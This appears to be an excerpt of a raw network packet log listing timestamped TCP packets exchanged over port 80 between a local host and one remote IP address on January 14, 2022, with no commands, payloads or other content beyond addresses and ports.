Jan 14, 2022 04:59:57.375607014 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.375610113 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.375631094 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.375649929 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.375679016 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.375693083 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.375760078 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.375818014 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.375838995 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.375859976 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.375896931 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.375920057 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.375935078 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.375997066 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376024961 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376063108 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376091003 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376102924 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.376116037 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.376118898 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376149893 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376177073 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376189947 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.376204967 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376231909 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376267910 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.376271009 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376298904 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376323938 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.376327038 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376354933 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376382113 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376396894 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.376410007 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376429081 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.376436949 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376461029 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.376465082 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376501083 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376527071 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376540899 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.376554966 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376581907 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376606941 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376624107 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.376633883 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376647949 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.376667023 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376694918 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376699924 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.376722097 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376749039 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376750946 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.376775980 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.376797915 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.376804113 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.377166986 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.432070971 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.432102919 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.432130098 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.432158947 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.432178020 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.432188034 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.432214975 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.432214975 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.432244062 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.432270050 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.432296038 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.432298899 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.432316065 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.432324886 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.432352066 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.432379007 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.432404041 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.432404995 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.432423115 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.432430983 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.432457924 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.432483912 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.432507992 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.432512045 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.432528019 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.432538986 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.432807922 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.433231115 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433264971 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433291912 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433321953 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433348894 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433357954 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.433370113 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.433377028 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433406115 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433424950 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.433433056 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433460951 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433490038 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433506966 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.433516026 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433532000 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.433543921 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433573008 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433592081 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.433600903 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433629036 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433648109 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.433655977 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433684111 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433703899 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.433712006 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433737993 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433763027 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.433764935 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433793068 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433821917 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433840036 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.433861971 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.433872938 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433904886 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433931112 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433959007 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433986902 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.433993101 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.434007883 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.434014082 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.434041977 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.434070110 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.434098005 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.434117079 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.488975048 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.489020109 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.489061117 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.489099026 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.489155054 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.489192963 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.489200115 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.489228010 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.489239931 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.489278078 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.489295959 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.489317894 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.489326954 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.489355087 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.489394903 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.489403963 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.489434004 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.489473104 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.489484072 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.489526987 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.489567995 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.489605904 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.489620924 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.489646912 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.489701986 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.489705086 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.489732981 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.489757061 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.490391016 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.490433931 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.490473032 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.490510941 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.490514994 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.490525007 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.490550995 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.490592003 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.490632057 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.490650892 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.490674019 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.490712881 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.490726948 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.490751028 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.490768909 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.490792990 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.490833998 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.490849972 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.490875959 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.490917921 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.490933895 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.490957975 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.490998983 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.491039991 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.491053104 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.491076946 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.491117001 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.491158009 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.491158962 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.491200924 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.491216898 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.491240978 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.491255999 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.491280079 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.491321087 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.491338968 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.491359949 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.491398096 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.491440058 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.491456985 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.491478920 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.491518974 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.491533041 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.491559982 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.491575003 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.533060074 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.546539068 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.546581030 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.546605110 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.546629906 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.546663046 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.546698093 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.546731949 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.546756983 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.546792984 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.546797991 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.546832085 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.546833992 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.546839952 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.546844959 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.546849966 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.546866894 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.546883106 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.546899080 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.546905994 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.546916962 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.546927929 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.546935081 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.546940088 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.546955109 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.546971083 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.546983004 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.546988010 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.546994925 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547013044 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547024012 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547025919 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547036886 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547044992 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547048092 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547065973 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547069073 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547084093 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547096014 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547101974 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547118902 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547137022 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547143936 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547148943 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547168016 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547173977 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547180891 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547199011 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547204971 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547210932 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547226906 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547230005 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547240019 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547252893 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547270060 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547276974 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547281981 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547293901 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547307014 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547311068 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547322989 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547322989 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547338963 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547341108 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547352076 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547369003 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547374964 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547380924 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547398090 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547410011 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547427893 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547434092 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547446966 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547447920 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547461033 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547472000 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547483921 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547496080 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547503948 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547508955 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547519922 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547533035 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547544956 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547549963 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547569036 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547569036 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547585964 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547596931 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547607899 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547616005 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547620058 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547629118 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547637939 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547650099 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547656059 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547672987 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547688007 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547688007 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547703981 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547719955 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547727108 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547734976 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547753096 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547758102 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547768116 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547784090 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547791004 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547800064 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547815084 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547817945 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547833920 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547848940 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547849894 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547864914 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547882080 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547882080 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547897100 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547913074 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547915936 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547929049 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547945023 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547960997 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.547960997 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.547998905 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.548007011 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.549366951 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.549402952 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.549418926 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.549474955 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.549477100 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.549551964 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.549567938 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.549576998 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.549587965 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.549604893 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.549618959 CET	49895	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:57.549622059 CET	80	49895	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:57.549639940 CET	80	49895	94.142.143.91	192.168.2.3
